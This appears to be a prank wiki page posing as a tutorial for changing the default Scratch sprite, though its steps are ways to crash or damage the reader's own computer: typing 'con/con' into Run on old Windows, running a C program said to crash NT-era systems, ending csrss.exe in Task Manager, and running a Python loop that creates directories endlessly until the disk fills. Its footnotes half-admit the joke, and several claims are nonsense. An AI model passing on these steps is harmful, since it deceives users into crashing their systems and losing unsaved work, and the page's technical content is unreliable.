You hate that boring Scratch Cat in your project at the start wanting to scratch you? How about this tutorial of how this will change the default sprite.

How this is done

It works! It works! It truly works!
  1. Only this default sprite will work. If you don't like it, DEAL WITH IT!
  2. Save that image.

Windows 95, 98, or 98 SE

  1. Open Run...
  2. Type con/con.
  3. Press "OK".
Note Note: If nothing happens, you are not running the selected versions above or you have an update that Bill Gates made to give people fame.

Windows NT 3.1, NT 3.5, NT 4.0, 2000, or XP

  1. Find a way to run this program:
    #include <stdio.h>
    
    int main (void) {
         while (1)
             printf ("\t\t\b\b\b\b\b\b");
    
         return 0;
    }
    
  2. If successful, your sprite would appear on the screen.
Note Note: If a black screen appears then your computer's logo, then you forgot to turn off reboot on system success. If nothing happens, you are not running the selected versions above or you have an update that Bill Gates made to give people fame.

Windows Vista and up

  1. Open the Task Manager.
  2. Go to "Processes".
  3. Select "csrss.exe" (if on Windows 8.1 or 10, the DCOM service host thingy).[1]
  4. Click "End Process", select "Abandon unsaved data and shut down", and click "Shut Down"
    • If it says "Access has been denied", show processes for all users and end csrss.exe again.
  5. Enjoy your new sprite on the screen![2]
Note Note: If a black screen appears then your computer's logo, then you forgot to turn off reboot on system success.

Nokia OS

Run this code:

from os import mkdir
count = 0
while True:
    mkdir("worm" + str(count))
    count += 1

If your hard drive becomes full, it's because you forgot to throw away your expired Badvil. When Badvil expires, it gradually fills your hard drive.

References

  1. This is just your default sprite program which will keep reverting the sprite and corrupt your projects if not terminated.
  2. The screen will be blue!
